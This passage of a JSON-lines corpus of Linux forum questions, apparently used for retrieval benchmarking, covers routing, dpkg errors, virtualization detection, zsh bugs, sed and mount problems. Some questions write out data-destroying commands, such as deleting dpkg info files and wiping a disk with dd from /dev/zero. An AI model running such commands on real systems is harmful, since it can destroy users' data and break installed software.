with gateway 10.1.1.1 and as well as 20.1.1.1 on eth0:1 and 20.1.1.2 on eth0:2 . Is there any way that I could communicate to a remote machine having IP 192.168.1.1 using 20.1.1.1 or 20.1.1.2 ? I've only one gateway and one physical interface to out my traffic however 20.1.1.2 is accessible from 192.168.1.1 but traffic out only from 10.1.1.100 when I try to communicate to 192.168.1.1 from my server. Linux Box ( eth0 IP: 10.1.1.100 GW: 10.1.1.1 \"eth0:1 20.1.1.2\") ------- | Internet | ------ RemoteMachine ( eth0 IP: 192.168.1.1 ) in the above example I've public IPs on both local and remote machines so therefore remote machine can communicate to 20.1.1.2 using same gateway of 10.1.1.100 which is 10.1.1.1 I want to get some services from remote machine using IP 20.1.1.2 but when i try to communicate to remote machine IP 10.1.1.100 goes out to communicate to it. Regards,"} {"_id": "134003", "title": "Python3 error \u201cno module named bluetooth\u201d on Linux Mint", "text": "I am trying to connect my Lenovo S10E to a Nintendo Wiimote via bluetooth. I am using a simple Python script, reproduced below. I am calling it from the Linux Mint (version 16, \"Petra\") command line using `python3 find_wii.py` My goal is to connect a wiimote to Mint, then output MIDI (eventually). I am using Python due to its cross-platform advantages. Script: import bluetooth target_name = \"Nintendo RVL-CNT-01\" target_address = \"00:1C:BE:29:75:7F\" nearby_devices = bluetooth.discover_devices() for bdaddr in nearby_devices: if target_name == bluetooth.lookup_name( bdaddr ): target_address = bdaddr break if target_address is not None: print(\"found target bluetooth device with address \"), target_address else: print(\"could not find target bluetooth device nearby\") I am receiving the error Traceback (most recent call last): File \"find_wii.py\", line 1, in import bluetooth ImportError: No module named 'bluetooth' I have installed bluez and python wrappings for it (`sudo aptitude install python-bluez`). I have upgraded my system (`sudo apt-get update`, `sudo apt- get upgrade`). I did consulted Google, and the only official bugs I could find are here and here, and neither of the answers worked for me. How can I get the Bluetooth module to work with Mint? [Note: Question cross-posted to stackoverflow]"} {"_id": "105181", "title": "Debian 7.3 can't remove postgresql", "text": "Solved: I removed `/var/lib/dpkg/info/postgresql-8.4` Now everything is fine. sudo rm -r /var/lib/dpkg/info/postgresq* * * * I got this problem: alex@VRIL ~ % sudo apt-get install python3 Reading package lists... Done Building dependency tree Reading state information... Done You might want to run 'apt-get -f install' to correct these: The following packages have unmet dependencies: postgresql-8.4 : Depends: postgresql-client-8.4 but it is not installable Depends: postgresql-common (>= 109~) but it is not going to be installed postgresql-9.1 : Depends: postgresql-client-9.1 but it is not going to be installed Depends: postgresql-common (>= 115~) but it is not going to be installed python3 : Depends: python3.2 (>= 3.2.3) but it is not going to be installed Depends: python3-minimal (= 3.2.3-6) but it is not going to be installed E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution). 100 alex@VRIL ~ % I tried the following commands: sudo apt-get install -f sudo apt-get autoremove sudo aptitude remove postgre* sudo apt-get remove --purge postgres* The problem is, i don't need postgres, I don't even know where it comes from ... but it prevents me from installing something. if I do `sudo apt-get -f install` I get this result: /var/lib/dpkg/info/postgresql-8.4.prerm: 7: .: Can't open /usr/share/postgresql-common/maintscripts-functions dpkg: error processing postgresql-8.4 (--remove): subprocess installed pre-removal script returned error exit status 2 Errors were encountered while processing: postgresql-8.4 E: Sub-process /usr/bin/dpkg returned an error code (1) Any ideas?"} {"_id": "89714", "title": "Easy way to determine virtualization technology", "text": "I have command line access to a Linux machine which may or may not be virtualized. I want to determine what kind of virtualization technology it runs on, if any (VMWare, VirtualBox, KVM, OpenVZ, Xen, ). This isn't a hostile environment: I'm not trying to work against a VM that is trying to disguise itself, I'm diagnosing a flaky server that I know little about. More precisely, I'm helping someone diagnose the issue, I'm not sitting at the helm. So I have to convey instructions like \u201ccopy-paste this command\u201d and not \u201cpoke around `/proc` somewhere\u201d. Ideally, it would be something like `lshw`: an easily-installable (if not preinstalled) command that does the poking around and prints out relevant information. What's the easiest way of determining what virtualization technology this system may be a guest of? I'd appreciate if proposals mentioned which technologies (including bare hardware) can be conclusively detected and which can be conclusively eliminated. I'm mostly interested in Linux, but if it also works for other unices that's nice."} {"_id": "94643", "title": "Indentifying a linux container", "text": "Is there a simple way to identifying a linux container?, just like with a xenserver vm you can input the command uname -a and the result contains the word \"xen\". Linux hostname 2.6.18-348.6.1.el5xen #1 SMP Tue May 21 16:10:52 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux So is there a command or particular function to do this? Thanks!"} {"_id": "95953", "title": "How to find out which virtualisation technology is used on Linux VPS server?", "text": "I have access to some Debian Linux vps servers, however I cannot access their controls panel directly: only server administrator himself can do that. Is there any way to find out what visualization technology is used on server from inside VPS? I need it only to know which kernel header package should I install (xen, openvz or any other)."} {"_id": "91229", "title": "How to check which hypervisor is used from my VM?", "text": "So I'm running a VM somewhere and want to know what hypervisor the host is running. Any way to check whether it's running KVM or in a container? The vm is running Ubuntu"} {"_id": "87630", "title": "strange \"bad file descriptor\" error", "text": "I've run into a perplexing error that I'd like to understand better. The problem seems to require the presence of a \"wrapper\" shell function (as described below), so my immediate interest is to find out how to modify such a shell function to get rid of the error. (I give a more specific statement of my question at the end of the post.) The simplest code that I've come up with to reproduce this error is given in the following script. (This script is certainly artificial and silly, but the real-life situation in which the error first surfaced is a bit too complicated for a demonstration like this one.) # create an input file cat < demo.txt a b c EOF # create a \"wrapper shell function\" for /usr/bin/join my_join_fn () { /usr/bin/join \"$@\" } cat <(my_join_fn <(cat demo.txt) <(cat demo.txt)) cat <(my_join_fn <(cat demo.txt) <(cat demo.txt)) | head -1 # create a \"wrapper shell function\" for /usr/local/bin/gjoin, a port of # GNU's join function for OS X my_gjoin_fn () { /usr/local/bin/gjoin \"$@\" } cat <(my_gjoin_fn <(cat demo.txt) <(cat demo.txt)) cat <(my_gjoin_fn <(cat demo.txt) <(cat demo.txt)) | head -1 # show the version of zsh $SHELL --version If one sources this script (under `zsh`), it terminates successfully, and produces the following (correct) output: % source demo.sh a b c a a b c a zsh 5.0.2 (x86_64-apple-darwin11.4.2) But if one then re-executes _directly from the command line_ either one of the two lines in the script that end with `| head -1`, one gets a `bad file descriptor` error: % cat <(my_join_fn <(cat demo.txt) <(cat demo.txt)) | head -1 join: /dev/fd/11: Bad file descriptor % cat <(my_gjoin_fn <(cat demo.txt) <(cat demo.txt)) | head -1 /usr/local/bin/gjoin: /dev/fd/11: Bad file descriptor _These are the only two lines in the script that produce an error when run directly on the command line._ As indicated in the output of `$SHELL --version`, the results shown above were obtained under OS X, but I get similar results when I perform an analogous test under Linux: % cat <(my_join_fn <(cat demo.txt) <(cat demo.txt)) | head -1 /usr/bin/join: /proc/self/fd/11: No such file or directory % $SHELL --version zsh 4.3.10 (x86_64-unknown-linux-gnu) * * * I have not been able to reproduce this error under `bash` (OS X or Linux). This leads me to suspect that the error is due to a bug in `zsh`. But, if so, it is an extremely arcane bug, and thus not likely to be fixed any time soon. Therefore, I'd like to find a workaround. My question is: > How should I modify the definition of the wrapper shell function > `my_gjoin_fn` so as to avoid this error? (The real-life counterpart for `my_gjoin_fn` is almost identical to the one given above, differing only in the inclusion of a flag in the invocation of `gjoin`: my_gjoin_fn () { /usr/local/bin/gjoin -t$'\\t' \"$@\" } I use this wrapper shell function _all the time_ , therefore I'd really like to \"salvage\" it.) EDIT: The error persists even if I replace the `| head -1` at the end of the command with `| head -10`, `| cat`, `| tee /dev/null`, `| :`, etc. E.g.: % cat <(my_join_fn <(cat demo.txt) <(cat demo.txt)) | cat /usr/bin/join: /proc/self/fd/11: No such file or directory Also, adding `ls -l /proc/self/fd`, as suggested by msw, produces the following: % cat <(ls -l /proc/self/fd; my_join_fn <(cat demo.txt) <(cat demo.txt)) | cat total 0 lrwx------ 1 jones jones 64 Aug 21 12:29 0 -> /dev/pts/18 l-wx------ 1 jones jones 64 Aug 21 12:29 1 -> pipe:[312539706] lrwx------ 1 jones jones 64 Aug 21 12:29 2 -> /dev/pts/18 lr-x------ 1 jones jones 64 Aug 21 12:29 3 -> /proc/23849/fd /usr/bin/join: /proc/self/fd/11: No such file or directory ...which doesn't tell _me_ much, but may be more informative to others. FWIW, the output produced by the `ls -l /proc/self/fd` subcommand looks the same whether I run this under `zsh` or under `bash`. Also, FWIW, the output of `ls -l /proc/self/fd` when run by itself is % ls -l /proc/self/fd total 0 lrwx------ 1 jones jones 64 Aug 21 12:32 0 -> /dev/pts/18 lrwx------ 1 jones jones 64 Aug 21 12:32 1 -> /dev/pts/18 lrwx------ 1 jones jones 64 Aug 21 12:32 2 -> /dev/pts/18 lr-x------ 1 jones jones 64 Aug 21 12:32 3 -> /proc/5246/fd"} {"_id": "87634", "title": "Exclude paths that make find complain about permissions", "text": "I need to generate a file list from a disk volume. Some of the directories (all hidden directories under the root directory) have strange permissions that causes find to complain. I try to exclude all these paths, but one directory still complains: find . -type f -not -path './.*/*' find: ./.DocumentRevisions-V100: Permission denied The rights are like this (set so by the operating system, so I assume they shouldn't be messed with). d--x--x--x root wheel .DocumentRevisions-V100 How do I change the `find` statement to effectively omit all the hidden directories as to not complain. (I do not want to do `2>/dev/null` as I want to know about other problems)."} {"_id": "153041", "title": "Zsh script how to concatanate array elements with string", "text": "I have written a `zsh` script to automize an analysis in high energy physics and now I would like to use an element of the one of the defined array some string and another element of some another array in a command that is passed to one of the string. My code follows below: bkgarr=(TopJets BosonJets DiBoson TTbar) sigarr=(NM1 NM2 NM3 Scenario4 Scenario6) puarr=(50PU 140PU) lumarr=(30 300 3000) echo Please type 1 for 50PU samples and 2 for 140PU samples read PU if [[ $PU -ne 1 && $PU -ne 2 ]] ; then echo You have to enter 1 or 2 return 1 fi echo Please type 1 for 300fb-1 and 2 for 3000fb-1 read lum if [[ $lum -ne 1 && $lum -ne 2 ]] ; then echo You have to enter 1 or 2 return 1 fi if [ $PU = 1 ]; then let \"lum = $lum + 1\" #echo $lum fi root -l << EOF .L readerSummerStd.C+ .q EOF ex NEWrunReader.py <& $index\"_\"$lumarr[lum].txt &\"$'\\r' done for sigind in $sigarr do screen -dmS $sigin\"_\"$lumarr[lum] #screen -S $sigind -p 0 -X stuff \"$(typeset -p bkgarr)\"$'\\r' screen -S $sigin\"_\"$lumarr[lum] -p 0 -X stuff \"./NEWrunReader.py SummerStd $puarr[PU]_$sigind >& $sigind\"_\"$lumarr[lum].txt &\"$'\\r' done return 0 I thought the following code snippets would do, but they failed: $index+\"_\"+$lumarr[lum] $index\"_\"$lumarr[lum] I would appreciate it if you could help me with this."} {"_id": "87638", "title": "Different behavior of mktemp Ubuntu 12.02 / Mint 9 Isadora", "text": "In a bash script I use ImageMagick's convert command for doing some image processing. I generate a temporal gif file for convert to write to. I really need the file to have the .gif extension so convert knows that the destination file should be a gif file. In Ubuntu 12.04 the following works fine: mktemp /tmp/pre_XXXXXXXXXX.gif But in Mint 9 Isadora I get the following error: mktemp: too few X's in template No matter how many X's I give it, it gives the same error, which is only fixed when I delete the \".gif\" suffix. **Why is that ? Isn't Mint based on Ubuntu ?**"} {"_id": "152326", "title": "Why does uucp take group 10?", "text": "According to YoLinux, group ID 10 typically belongs to wheel. And on my Arch Linux installation, sure enough there in `/etc/group` is wheel:10. However, on my Ubuntu machine instead I'm greeted with `uucp`. A quick search turns up the Ubuntu man page of uucp, which seems to have a different purpose. So why does `uucp` get that group ID? Can I replace it or should I just make wheel a different group ID instead?"} {"_id": "29902", "title": "Unable to delete file, even when running as root", "text": "I am in the process of migrating a machine from RHEL 4 to 5. Rather than actually do an upgrade we have created a new VM (both machines are in a cloud) and I am in the process of copying across data between the two. I have come across the following file, which I need to remove from the new machine but am unable to, even when running as root: -rw------- 1 2003 2003 219 jan 11 14:22 .bash_history This file is inside /home/USER/, where USER is the account of the guy who built the machine. He doesn't have an account on the old machine, so I am trying to remove his home folder so that the new machine tallies with the old one, but I get the following error: rm: ne peut enlever `.bash_history': Op\u00e9ration non permise (translated from the French: cannot remove XXX, operation not permitted) I have tried using the following command but this has made no difference: chattr -i .bash_history Is the only choice to create a user with the ID 2003, or is there another way around it? * * * # Edit I have tried using `rm -f`, and I get the same error. I get the same kind of error using `chmod 777` first. I have been able to `chown` the folder that contains the file I am trying to delete, so it is: drwx------ 2 root root 1024 jan 24 15:58 USER * * * # Edit2 Running the `lsattr` command as suggested by Angus gave the following output: -----a------- USER/.bash_history ------------- USER/.. ------------- USER/. The file is flagged as append-only - on changing this flag using `chattr -a .bash_history` I was able to delete the file."} {"_id": "29907", "title": "How to get vim to work with tmux properly?", "text": "I'm trying to figure out how to get `vim` and `tmux` play together. My problem is: When I use `xterm-256color` I get `vim` to work nicely, but the background doesn't render properly. I fixed this by using `screen-256color`. This looks nice but breaks the `Ctrl + arrow keys` (they go in insert mode and delete 4 lines). I want to use these mappings instead to switch tabs in `vim`. How do I get this to work?"} {"_id": "29906", "title": "Delete range of lines above pattern with sed (or awk)", "text": "I have the following code that will remove lines with the pattern `banana` and 2 lines after it: sed '/banana/I,+2 d' file So far, so good! But I need it to remove 2 lines **before** banana, but I can't get it with a `minus sign` or whatever (similar to what `grep -v -B2 banana file` should do but doesn't): teresaejunior@localhost ~ > LC_ALL=C sed '-2,/banana/I d' file sed: invalid option -- '2' teresaejunior@localhost ~ > LC_ALL=C sed '/banana/I,-2 d' file sed: -e expression #1, char 16: unexpected `,' teresaejunior@localhost ~ > LC_ALL=C sed '/banana/I,2- d' file sed: -e expression #1, char 17: unknown command: `-'"} {"_id": "83709", "title": "xargs -r0 vs xargs -0", "text": "I have seen examples on the web of `xargs` with the argument `-r0`. What does this argument mean? My man pages don't show any entries for -`r0` nor do most man pages I have seen (e.g. http://linux.die.net/man/1/xargs)"} {"_id": "47656", "title": "cp file device:directory on Minix", "text": "In my operating systems class we had to modify the boot screen of the Minix OS. I understood just about everything we did, but at the end of the make for compiling the new OS, there's a line: cp image /dev/c0d0p0:/minix/2.0.4r2 I don't understand what the colon is for, can anybody explain this? I've searched all over with no luck."} {"_id": "47651", "title": "Command substitution: file or command not found", "text": "The following script #!/bin/bash QUERY='select * from cdr;' MYROWS=$(\"sqlite3 -list -nullvalue NULL -separator ',' /var/log/asterisk/master.db '${QUERY}'\") gives me ./bla.sh: row 35: sqlite3 -list -nullvalue NULL -separator ',' /var/log/asterisk/master.db 'select * from cdr;': file or directory not found If I execute directly sqlite3 -list -nullvalue NULL -separator ',' /var/log/asterisk/master.db 'select * from cdr;' then it works. I guess there is some error with the quotes that can't be seen on the error message. Please note that I need the single quotes around select * from cdr; Thanks for any hint on what I am doing wrong!"} {"_id": "118799", "title": "online installer Qt for chessx on Centos 6.4 compile with qmake", "text": "Using `yum install qt` has installed `qt.i686 1:4.6.2-28.el6_5` to my `/usr/share` folder on Centos 6.5 but I need to follow these instructions to get chessx working: > To compile ChessX, you need Qt version 4.2.0 or above. 1. Compilation Compiling the source is simple. Execute: qmake and then make If the compilation is successful you should be able to run ChessX executable in bin subdirectory. It is called: chessx on Linux, chessx.app on Mac OS, chessx.exe on Windows 1. Problems If you have both Qt3 and Qt4 installed, verify that Qt4 is first on your path. You may check it, running: qmake -v But I don't know how to do the above exactly. chessx I have downloaded and installed in `/usr/local/games` as that seems logical to me.How do I set the path to make qmake work? Read \"For simple projects, you only need to run qmake in the top level directory of your project.\" So the directory above chessx or qt4? NB: Since found out this is only to install locally where I was attempting to install remotely."} {"_id": "47652", "title": "PS tags does not work", "text": "I run a ps command inside a startup script, if I put in: ps -A -o euser,pid... I get this output: EUSER PID CMD %CPU RSS SZ ELAPSED root 644 ./code 0.0 996 2963 00:00 It's there each time. If I run: ps -C ./code -o euser.... it does not display anything at all. Any suggestions?"} {"_id": "126714", "title": "How to stop XEmacs from teaching me that my keyboard settings are \"bad\"?", "text": "I've changed (using the keyboard layout options in Linux Mint 13) the keyboard layout as follows: * The Caps Lock key is reconfigured as Compose key. * Pressing both Shift keys at once toggles Caps Lock. Since both options are offered by the menus (no `xmodmap` or similar involved), I figure they should work fine, and indeed, I've never noticed any problems (including inside XEmacs), with one exception: Whenever I start XEmacs (version 21.4.22), I get an extra window (in the Emacs sense of \"window\") with the following text: (1) (key-mapping/warning) The meanings of the modifier bits Mod1 through Mod5 are determined by the keysyms used to control those bits. Mod1 does NOT always mean Meta, although some non-ICCCM-compliant programs assume that. (2) (key-mapping/warning) The semantics of the modifier bits ModShift, ModLock, and ModControl are predefined. It does not make sense to assign ModControl to any keysym other than Control_L or Control_R, or to assign any modifier bits to the \"control\" keysyms other than ModControl. You can't turn a \"control\" key into a \"meta\" key (or vice versa) by simply assigning the key a different modifier bit. You must also make that key generate an appropriate keysym (Control_L, Meta_L, etc). (3) (key-mapping/warning) XEmacs: Shift_L (0x32) generates ModLock, which is nonsensical. Is there any way to tell XEmacs to stop teaching me that my keyboard settings are \"bad\"?"} {"_id": "47659", "title": "How do I find a tag that contains a commit?", "text": "I have the SHA ID of a commit that I am interested in and would like to know how to find the first tag that contains it."} {"_id": "118791", "title": "Run one screensaver across multiple monitors", "text": "Is there a way to make `xscreensaver` run a single screen saver across the whole X display, ignoring Xinerama/XRANDR geometry? I have three monitors appearing as a single X screen on one X display. XRANDR provides information about where each physical monitor starts and ends on the single X screen. `xscreensaver` uses this to either run a different screen saver on each monitor, or to run the same screen saver three times, once for each monitor. I would like to change this so that only one screen saver is run, and it spans all three monitors (i.e. it takes up the entire X screen.) This way animations in the screen saver will be free to roam from one monitor to the next. Is this possible?"} {"_id": "126713", "title": "dd and rm -r commands", "text": "For me, the following commands do exactly the same thing: dd if=/dev/zero of=/dev/sd1 dd if=/dev/null of=/dev/sd1 rm -r /dev/sd1/* meaning, the result of their application is the same. Or least, that's true for the first and the third ones. Is this really the case?"} {"_id": "118793", "title": "how can I set yate to be my default tel: protocol handler?", "text": "On http://www.frigidaire.com/kitchen-appliances/ranges/ I clicked on the support link and a phone number popped up. It was formatted via the tel: protocol, and as such was underlined and highlighted like a web link. On my phone, clicking on such a link opens my default dialer and places the call. When links are not formatted via this protocol, my browser's Google voice plugin usually auto-detects the phone number and gives me a chance to call via Google voice. It would be nice if I could also do this for tel: formatted numbers, or better yet, as I don't always have a voice session open, set tel:formatted numbers be handled by `yate`. ### How can I fix my browser's handling of the `tel:` protocol links such that it opens in `yate` or google voice? * In Chromium I get a warning saying that xdg-open will be used to handle the link, but when I click 'Launch Application' nothing happens. * In Firefox, clicking on the link leads me to a blank page with the url tel:18003744432 * In Konqueror clicking on the link produces a \"Access by untrusted page to tel:18003744432 denied.\" error I'm using Linux Mint 16 KDE x64"} {"_id": "48930", "title": "Redmine upgrade doesn't find mocha dependency", "text": "I've tried to upgrade my redmine 1.3.0 to 2.0.0 following these instructions. I am at step 3/6. In this step, I am trying to run the `rake generate_session_store` command, but I receive the following error: `Could not find gem 'mocha (= 0.12.3) ruby' in any of the gem sources listed in your Gemfile.` Do you have any idea how this can be solved?"} {"_id": "29129", "title": "Unmounting HTC device takes forever", "text": "Not sure if should post this on Android SE because I don't think this is directly related to the Android OS. On my system I manually `mount` and `umount` my HTC device with these options in `/etc/fstab`: UUID=3465-3762 /mnt/htc auto gid=100,umask=002,noauto,user,rw,exec 0 0 This works fine when modifying small amounts of data on the SD card, but whenever I copy e.g. a couple of music albums encoded in FLAC from another device - unmounting the SD card seems to take forever: $ time umount /mnt/htc/ real 1m17.195s user 0m0.000s sys 0m0.237s Is this time proportional to the amount of data modified? Should it take this long to unmount it anyway?"} {"_id": "48939", "title": "add new language to /usr/share/dict/words", "text": "In this directory I have English dict and my language file, but where I can download other language? Or maybe you known other free dictionary? I need to make list of word that are not in the dictionary."} {"_id": "152324", "title": "Why would a partition be in use by the system if it isn't mounted?", "text": "I've been migrating my system from btrfs to ext4 after running into performance issues with VMs. I have two hard drives in my laptop to work with. I've successfully moved my home partition, but the same steps I used aren't working for root. Progress so far: I've `dd`'d my root partition from `/dev/sda3` into `/dev/sdb3`. I modified `/etc/fstab` to the following: $ cat /etc/fstab # # /etc/fstab: static file system information # # # UUID=95f13c34-96ca-49e3-bcb2-ff594df31506 /dev/sdb3 / btrfs rw,noatime,ssd,space_cache,discard 0 0 # UUID=0fe04f59-599f-41e2-ac30-2ad0f17a9727 /dev/sda2 /boot ext2 rw,relatime 0 2 # UUID=44741e0f-924a-4841-80ef-2132bef84182 /dev/sda4 /home ext4 rw,noatime,discard 0 0 and run `sudo mkinitcpio -p linux`. It seems to work. I'm able to boot by mounting the partition on the second disk. `df` shows: $ df Filesystem Size Used Avail Use% Mounted on /dev/sdb3 28G 18G 9.8G 65% / So, clearly, `sdb3` is mounted, not `sda3`. Here's the problematic step: When I try to format `sda3`, which is supposedly unused, I get the following: $ sudo mkfs.ext4 /dev/sda3 [sudo] password for stew: mke2fs 1.42.11 (09-Jul-2014) /dev/sda3 contains a btrfs file system Proceed anyway? (y,n) y /dev/sda3 is apparently in use by the system; will not make a filesystem here! `sda3` is in use. How and why could it possibly be in use? ### As per casey's comment, the output of mount: mount | grep sd /dev/sdb3 on / type btrfs (rw,noatime,ssd,discard,space_cache) /dev/sda4 on /home type ext4 (rw,noatime,discard,data=ordered) /dev/sda2 on /boot type ext2 (rw,relatime) ### As per Warwick's comment, unmounting: $ sudo umount /dev/sda3 umount: /dev/sda3: not mounted Mounting and umounting sda3 elsewhere works successfully, but changes nothing. ### Update: More fishy behavior: $ mount | grep sd /dev/sdb3 on / type btrfs (rw,noatime,ssd,discard,space_cache) /dev/sda4 on /home type ext4 (rw,noatime,discard,data=ordered) /dev/sda2 on /boot type ext2 (rw,relatime) $ sudo mount /dev/sda3 mnt [sudo] password for stew: $ mount | grep sd /dev/sda3 on / type btrfs (rw,noatime,ssd,discard,space_cache) /dev/sda4 on /home type ext4 (rw,noatime,discard,data=ordered) /dev/sda2 on /boot type ext2 (rw,relatime) /dev/sda3 on /home/stew/mnt type btrfs (rw,relatime,ssd,discard,space_cache) After mounting sda3, sdb3 is no longer mounter. Weird, huh? ### As per mikeserv: $ rmmod btrfs rmmod: ERROR: Module btrfs is in use This is very much expected, since sdb3 is btrfs and supposed to be mounted to root. From my mkinitcpio.conf file: MODULES=\"\" HOOKS=\"base udev autodetect modconf block filesystems keyboard fsck\""} {"_id": "7349", "title": "Youtube Videos become Choppy When Maximised [Ubuntu Maverick]", "text": "I just installed 32-bit Ubuntu Maverick 10 Stable everything is working fine, The system spec's are as below: 3 Ghz Intel DG101 512 MB RAM 80 GB HDD 256 MB Ati Radeon Xpress the only problem is when the Youtube videos are maximized they consume allot of CPU plus video bacomes slower and choppy..... What to do? I have FireFox and installed the FlashPlayer 10 also. But no luck...Any Ideas how to fix? The videos work absolutely good in XP in same computer..... I have tried Google Chrome also but no luck in that also.... Any answer 'll be appreciated."} {"_id": "117645", "title": "Disabling sentbox in postfix over Squirrelmail", "text": "I have installed **POSTFIX** over `Squirrelmail` on CentOS Linux... The services I have ran are: service httpd service ssl service mysql service postfix service saslauthd service dovecot But I want to know : How can I send mail but nothing go to my sentbox?"} {"_id": "119123", "title": "How do I make sure that a script is run exclusively?", "text": "So I have a bash scripts that does some things (pull from github, delete folders .. etc ..) pretty basic stuff. I usually run it whenever I need a new version of the web app on the server. The thing is there isn't anything that stopping this script from running simultaneously by different people (almost all developers connect to this server and they execute the same command). So far, it didn't happen that the script is run by more than 1 developer at a time. How do I make sure that this script cannot be run if it's already running by another user? Folder locking or checking if the script is running by another user (is this doable?) something else? All users that can run this script are sudoers. EDIT: Well after checking my colleagues turns out that not all of them are using the script .. some of them are executing the commands by hand so I need to lock the folder itself."} {"_id": "120314", "title": "lockfile-progs utilities usage", "text": "**There isanother question that is related, but it is actually different, because I'm asking why the behavior of lockfile-create & lockfile-touch is different to the current contents of the manual page.** I have this script to learn and understand the lockfile-progs utilities. I've tested it and works good. But, I find the lines related to lockfile-touch unnecessary. My script only needs to launch one xterm instance on one machine per user. I will do the right thing removing the lockfile-touch lines? Someone knows if I will have some trouble with the modified script? #!/bin/bash function atexit { kill $LOCKFILE_TOUCH_PID lockfile-remove $DOTLOCK_FILENAME echo atexit! exit } DOTLOCK_FILENAME=/tmp/xterm-one-instance-$UID lockfile-create --retry 0 --use-pid $DOTLOCK_FILENAME || exit lockfile-touch $DOTLOCK_FILENAME & LOCKFILE_TOUCH_PID=$! echo lockfile-touch running, PID=$LOCKFILE_TOUCH_PID trap atexit EXIT HUP INT TERM xterm My modified script: #!/bin/bash function atexit { lockfile-remove $DOTLOCK_FILENAME echo atexit! exit } DOTLOCK_FILENAME=/tmp/xterm-one-instance-$UID lockfile-create --retry 0 --use-pid $DOTLOCK_FILENAME || exit trap atexit EXIT HUP INT TERM xterm still prevents another xterm instance after 5m 33s. I found this behavior confusing after reading in the manual page that I need touch the lock file every five minutes."} {"_id": "117641", "title": "Extend Linux partition in Dual boot with Windows without losing data?", "text": "I've the following partitions on my hard drive (copied from Gparted): ![](http://i.stack.imgur.com/6thI1.png) As you can see: * **ext4 Linux HOME** partition * THEN ==> **windows (8.1) ntfs** partition * THEN ==> **178 GB of UNUSED space** (I got it by resizing **from the end** ntfs partition) The problem here is that it seems **I can't free space BEFORE ntfs partition** to make free space to **extend ext4 home partition** because this would mean moving ntfs start sector, i.e. , (maybe?) corrupt Windows boot. Any suggestion? How should I do to pass from the situation shown in the image above to ext4 partition with about 100 GB space?"} {"_id": "117640", "title": "Debian - Docky compiz settings?", "text": "I really like Docky and I wanted that genie 'magic lamp' effect. So I Googled it and it said I needed Compiz settings and to install it I did $ sudo apt-get install compizconfig-settings-manager it wasn't found so I did some more researching and I can't find it. The closest thing I can find to something compiz was compiz-fusion something. I tried it and it was not it. So does anybody know where I can get this package? I'm running Crunchbang."} {"_id": "117471", "title": "Embedded Linux Power Failure Issues", "text": "Many routers run a Linux OS and abrupt power failure can happen. Considering this - how do they handle the possibility of file system corruption caused by a power failure? If they make the system read only, how are you able to change settings?"} {"_id": "7549", "title": "Debian 6 installation DVD required", "text": "I just want to install the operating system and SSH printserver . I just burned the first DVD of the 8 avaible for the amd64 architecture. How many DVDs should i burn in order the operating system to install ? Note: Connection is slow as hell that is why i choose DVD solution"} {"_id": "16618", "title": "awk expand window to 500% for two numbers from column file", "text": "I've got a file with two columns corresponding to start-end ranges like this: awk '{print $2\"-\"$3}' file.txt 91082802-91082990 94018177-94018321 146945732-146945949 88701397-88701594 80922510-80922643 28800551-28800680 23612818-23613016 69178478-69178630 107524531-107524669 73153734-73154149 [...] I would like to expand the start-end ranges to up to 500%, except if the range goes beyond a certain value, N=1000. If the start-end range is already above N=1000, I want to rewrite the start-end to a n=1000 window around the centre. How can I do that with an awk/bash one-liner?"} {"_id": "110144", "title": "How to set MSS manually for IPv6 in Linux?", "text": "Suppose I have a networking problem and try to debug it by setting the MSS manually to ex.: 1392. How can I achieve this permanently? I have a native IPv6 address. OS is Debian/CentOS"} {"_id": "110147", "title": "How to correctly integrate FreeRadius and eDirectory for eduroam?", "text": "Does anyone have any experience implementing `eduroam` and integrating `Free- Radius` and `eDirectory`? If yes pleas share your experience on how to correctly configure both. Also, do I have to retrieve `edirectory` universal user password in clear text, in order to make it compatible with **EAP-PEAP MSCHAP2** and **EAP-TTLS MSCHAP2**? I've looked up numerous forums and wikis, but would like to hear from someone's personal experience."} {"_id": "110146", "title": "How to start line with command from output of another command", "text": "Sometimes the output of some command include other commands. And I'd like to start that command from output without using a mouse. For example, when command is not installed there is a message with line for installing this command: $ htop The program 'htop' is currently not installed. You can install it by typing: sudo apt-get install htop So. There I'd like to type a command, that will start the command from last line from output of `htop`. How it can be done? _**Edit:_** I'll try show what I mean. There are two lines in \"output\" of command `htop` (actually, it's an error message). Second line of this message is the command `sudo apt-get install htop`. So I'd like to extract second line from output, and start it's like command itself. The following is a rubbish but it shows what I mean: htop | tail -1 | xargs start_command"} {"_id": "7544", "title": "Improving OpenOffice speed", "text": "I'm looking for some tips and tricks on how to improve the performance of OpenOffice on my desktop. Any ideas, tutorials or articles on this? Thanks in advance!"} {"_id": "153040", "title": "AMD Drivers make Linux Mint 17 Cinnamon crash", "text": "I just installed Linux Mint 17 Cinnamon on my Samsung Series 5 netbook (dual boot with Windows 8.1, which I reinstalled myself). The first boot worked fine but I then installed the package `fglrx-uptades` for my **AMD Radeon HD 8750M**. And finally I installed the **AMD Drivers and the Catalyst Control Center** software. Upon rebooting, the X Server didn't start and I can only use the console mode. I removed the `fglrx-uptades` package with apt-get, but I don't know how I could remove the AMD Drivers. Can you please help me restarting my X Server ?"} {"_id": "16138", "title": "How to search text throughout entire file system?", "text": "Assuming that the grep tool should be used, I'd like to search for the text string \"800x600\" throughout the entire file system. I tried: grep -r 800x600 / but it doesn't work. What I believe my command should do is grep recursively through all files/folders under root for the text \"800x600\" and list the search results. What am I doing wrong?"} {"_id": "16139", "title": "\"Clean\" Filesystem Hierarchy", "text": "The Linux filesystem hierarchy is full of unused folders that only exist for historical reasons. Do any distros install with only the directories that are actually used?"} {"_id": "51906", "title": "How to effectively use bash scripting (different cost reductive ways and good habits)?", "text": "This is one of the most perennially important questions. How to effectively script ? What are the bad ways and what are the good ways ? I know of some, which i will point out here. If anybody does know of something else, kindly do leave a comment for the same. This question has been asked to know about the best practices available. It's very difficult to google everything and always all the things do not appear in the same place. Hence, this question has been asked to all of you experienced guys. I am myself trying to learn these things. Hence, i think any comments/answers that you guys provide here will be very helpful for me and people like me. Thanks in advance ."} {"_id": "16137", "title": "Encountering this error /usr/bin/ld: final link failed: No space left on device", "text": "**/usr/bin/ld: final link failed: No space left on device** is the error coming when I'm trying to complie Open Source code project I have about 7GB free space over the Disk so I think that cannot be the cause of the issue. I have read some where, that if source file is too big the linker error like this can be encountered; this can be true because source file is really huge. If the linker is giving an error due to file size then what can be done to solve the problem."} {"_id": "51905", "title": "Typing in Chromium's/Chrome's Omnibox crashes browser", "text": "Very often, when I type something in Omnibox (address-bar), Chromium/Chrome crashes. W/ crash I mean that it freezes and refuses to any signals 